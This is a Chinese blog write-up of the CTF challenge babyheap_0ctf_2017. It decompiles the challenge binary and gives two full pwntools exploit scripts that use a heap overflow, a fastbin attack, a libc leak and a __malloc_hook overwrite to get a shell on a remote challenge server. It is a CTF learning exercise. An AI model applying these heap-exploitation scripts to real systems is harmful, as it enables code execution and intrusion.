buuctf_babyheap_0ctf_2017


0x01 buuctf_babyheap_0ctf_2017


牢骚:第一次做堆题,改exp改了特别长时间,结合别的师傅的wp才做出来的,心累……写篇博客当做里程碑。
如果对基础知识不太懂的看看这篇博客,这里不作过多赘述:知识补充
综合网上师傅和学长大大的wp,本题提供两种做法


本题涉及到几个知识点:

  • 堆溢出
  • fastbin attack
  • double free
  • 堆泄露libc地址
  • pwndbg如何快速找到fake chunk
  • __malloc_hook函数的利用
  • 堆块重叠
    环境:Ubuntu16.04

第一种:

0x01 __malloc_hook函数攻击原理:


  • 像malloc、free、realloc这类函数在执行前会先检查对应的hook函数,如果hook函数为空,则继续执行对应的函数,如果不为空,则跳转到hook中的值对应的地址位置执行。(例如hook函数中如果存的是one_gatget的地址则执行one_gatget)

unsortbin 泄露libc地址

  • 对于libc-2.23.so而言,当unsortedbin中只有一个freed chunk时,这个freed chunk的fd和bk指针都指向libc中的一个地址(一般是<main_arena+88>),这个偏移也可以算出是0x3c4b78。(小版本是0x3c3b78)而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了,所以重点是当small chunk释放时,能否读出fd 或者 bk的值

0x02 解题思路:

0x02(1) 代码审计:


堆题的保护机制一般是全开的,如下:

拖进ida:

_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  char *v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70();
  while ( 1 )
  {
    list();
    switch ( sub_138C() )
    {
      case 1LL:
        allocate((__int64)v4);
        break;
      case 2LL:
        edit(v4, a2);
        return result;
      case 3LL:
        free_0((__int64)v4);
        break;
      case 4LL:
        show((__int64)v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

allocate

void __fastcall sub_D48(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

edit

void __fastcall __noreturn edit(__int64 a1)
{
  int v1; // [rsp+18h] [rbp-8h]
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  v1 = sub_138C();
  if ( v1 >= 0 && v1 <= 15 && *(_DWORD *)(24LL * v1 + a1) == 1 )
  {
    printf("Size: ");
    v2 = sub_138C();
    if ( v2 > 0 )
    {
      printf("Content: ");
      sub_11B2(*(_QWORD *)(24LL * v1 + a1 + 16), v2);
    }
  }
}

free

__int64 __fastcall free_0(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}

show

int __fastcall sub_1051(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
  return result;
}

这题有个地方比较难看懂是什么意思,这里相当于一个结构体:

*(_DWORD *)(24LL * i + a1) = 1;      #1表示chunk已创建并且有效,后面都会检查
*(_QWORD *)(a1 + 24LL * i + 8) = v2; #记录chunk的大小
*(_QWORD *)(a1 + 24LL * i + 16) = v3;#记录chunk的申请存储地址
                                     #只要free掉三个就会清零,实现用户无法访问chunk

由于本题有保护机制free后无法访问,首先我们的目的是让一处的chunk可以在free掉后还能被访问(这里用到double free),如下操作:

allocate(0x10) #chunk0 fastbin
allocate(0x10) #chunk1 fastbin
allocate(0x10) #chunk2 fastbin
allocate(0x10) #chunk3 fastbin
allocate(0x80) #chunk4 smallbin
free(1)
free(2)

先申请几个堆块,free掉两个fastbin,因为fastbin是单向链表并且服从FILO,所以第二个free掉的堆块fd指针会指向第一个free的堆块
该题不太一样的是先allocate申请大小然后再edit填充内容,其他题目很多都是add直接分配chunk直接填充内容,这里就有一个溢出因为chunk大小由我们规定,输入多少也由我们规定可以实现无限溢出

payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,payload)

在chunk0处输入,把 chunk 2 的fd指针覆盖为 chunk 4 的地址,只用修改低8字节即可,这样chunk2就从指向chunk1变为指向chunk4,且chunk4相当于处于“’free状态”可再次被申请,这时就有两个指针指向了同一个chunk

payload=p64(0)*3+p64(0x21)
edit(3,payload)
allocate(0x10)
allocate(0x10)

我们等下要 malloc 拿到 chunk 4 ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小来通过检查,申请两次可以拿到chunk4
因为本题allocate的分配机制是从头开始检查哪个chunk是free状态,如果是就把它占用,所以重新分配的chunk分别给了chunk1,而chunk4给了chunk2,相当于两个堆块用的同一个空间

payload=p64(0)*3+p64(0x91)
edit(3,payload)
allocate(0x80)#chunk 5
free(4)
show(2)

我们需要的是它作为smallbin时的身份于是恢复其size大小,再次申请0x80大小的堆块(chunk 5)防止与topchunk合并,释放掉chunk4(释放时,是当做small bin释放的)此时chunk4的fd指针就会指向libc的main_arena某处,但是我们无法用show来查看chunk4,不过刚刚做的努力就体现在这,因为chunk2也使用chunk4的空间,我们就可以通过show chunk2的内容看到chunk4的fd指针内容

leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))#接收\x7f在内的向左六个字节,用\x00补齐八个字节
print('leak:'+hex(leak))
libc_base=leak-0x3c4b78
print('libc_base:'+hex(libc_base))

算libc地址如上:

用pwndbg快速找到在__malloc_hook旁边符合条件的fake_chunk指令如上:

用pwndbg找到libc地址和__malloc_hook的地址用于计算偏移:

用pwndbg算偏移如上:

fake_chunk=libc_base+0x3c4aed
allocate(0x60)
free(4)
edit(2,p64(fake_chunk))

再次申请一个chunk被分配到chunk4的位置,将其free掉,用chunk2来修改chunk4的fd为fake_chunk的地址

allocate(0x60)#chunk4
allocate(0x60)#chunk6
payload=b'a'*0x13+p64(libc_base+0x4526a)#one_gadget
edit(6,payload)
allocate(0x10)

申请两个chunk,chunk6拿到fake_chunk,并且对chunk6进行输入覆盖__mallo_hook,再次申请就相当于执行one_gadget
完整exp:

from pwn import*
io=remote('node4.buuoj.cn',26165)
#io=process('./babyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level='debug'
def choice(i):
	io.sendlineafter('Command: ',str(i))
def allocate(size):
	choice(1)
	io.sendlineafter('Size: ',str(size))
def edit(index,content):
	choice(2)
	io.sendlineafter('Index: ',str(index))
	io.sendlineafter('Size: ',str(len(content)))
	io.sendlineafter('Content: ',content)
def free(index):
	choice(3)
	io.sendlineafter('Index: ',str(index))
def show(index):
	choice(4)
	io.sendlineafter('Index: ',str(index))
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,payload)
payload=p64(0)*3+p64(0x21)
edit(3,payload)
allocate(0x10)
allocate(0x10)
payload=p64(0)*3+p64(0x91)
edit(3,payload)
allocate(0x80)
free(4)
show(2)
#gdb.attach(io)

leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('leak:'+hex(leak))
libc_base=leak-0x3c4b78
print('libc_base:'+hex(libc_base))
fake_chunk=libc_base+0x3c4aed
allocate(0x60)
free(4)
edit(2,p64(fake_chunk))
allocate(0x60)
allocate(0x60)
payload=b'a'*0x13+p64(libc_base+0x4526a)
edit(6,payload)
allocate(0x10)
io.interactive()

第二种:


这种方法由学长提供,对堆块重叠了解不是很深的看这篇文章
这里用的是向后合并的方法

思路分析


from pwn import*
io=remote('node4.buuoj.cn',28791)
#io=process('./babyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level='debug'
def choice(i):
	io.sendlineafter('Command: ',str(i))
def add(size):
	choice(1)
	io.sendlineafter('Size: ',str(size))
def edit(index,content):
	choice(2)
	io.sendlineafter('Index: ',str(index))
	io.sendlineafter('Size: ',str(len(content)))
	io.sendlineafter('Content: ',content)
def free(index):
	choice(3)
	io.sendlineafter('Index: ',str(index))
def show(index):
	choice(4)
	io.sendlineafter('Index: ',str(index))

add(0x100)  #chunk0 这个堆块可以改变大小
add(0x100)  #chunk1 经测试,这个堆块要大于等于后面0x100的堆块大小
add(0x100)  #chunk2 申请大于fastbin范围的堆块用于泄露libc地址指向main_arena+88的位置
add(0x60)   #chunk3 防止topchunk合并,0x60后面申请fake_chunk有用
free(1)     #按照向前合并要求将chunk1释放
payload=b'a'*0x108+p64(0x221) #修改chunk1的size大小为0x220
edit(0,payload) #在chunk0填入
add(0x210) #将chunk1申请回来,此时chunk2和chunk1的部分堆块重叠  
payload=b'a'*0x108+p64(0x111) #用于calloc会将申请得到的堆块chunk1清零,chunk2的size会丢失,将其补上
edit(1,payload) 
free(2) #泄露libc地址
show(1) #因为chunk2在chunk1范围,打印chunk1会顺带把chunk2的内容打印出来
leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('leak:'+hex(leak)) 
libc_base=leak-0x3c4b78
print('libc_base:'+hex(libc_base))
fake_chunk=libc_base+0x3c4aed
add(0x100) #把chunk2补上
add(0x60) #chunk4
free(4) #free chunk4使用doublefree获取fake_chunk
payload=b'a'*0x68+p64(0x71)+p64(fake_chunk)
edit(3,payload)
add(0x60)
add(0x60) #获得fakechunk
payload=b'a'*0x13+p64(libc_base+0x4526a) #覆盖mallok_hook为one_gadget
edit(5,payload)
add(0x10) #再次调用执行malloc_hook 
io.interactive()

文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录